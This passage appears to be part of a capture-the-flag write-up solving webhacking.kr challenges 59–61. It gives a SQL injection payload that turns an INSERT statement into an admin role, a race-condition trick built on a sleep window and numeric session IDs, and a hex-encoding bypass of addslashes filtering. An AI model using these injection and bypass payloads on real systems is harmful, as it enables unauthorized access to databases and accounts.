We can join with id=nimda and phone=1,reverse(id)),(1,1, and the sql query insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest') will become insert into chall59 values('nimda',1,reverse(id)),(1,1,'guest'), which is insert into chall59 values('nimda',1,'admin'),(1,1,'guest').

We login with lid=nimda and lphone=1, and we solve the challenge.


Challenge 60

Local Picture

This one is complicated. It writes $_SESSION['idx'] to ./readme/{$_SESSION['idx']}.txt, sleep(1), and unlink the file. If we provide mode=auth and $_SESSION['idx'] in ./readme/{$_SESSION['idx']}.txt, we can solve the challenge.

That is, we need to access the file while sleep(1) is executed. I open one normal tab and one incognito tab, and change both PHPSESSID in cookie to numeric to bypass filtering. Set them to different value because if it is the same value, the second request will not start until the first request finished. The first one access the URL without auth, and the second one access it with auth, and we can solve the challenge.


Challenge 61

Local Picture

We can use alias to solve this challenge.

It uses addslashes() and preg_match() to filter our input, so we cannot simply access https://webhacking.kr/challenge/web-38/?id=admin%20id, we need to use hex representation.

If we access https://webhacking.kr/challenge/web-38/?id=0x61646d696e%20id, we can solve the challenge.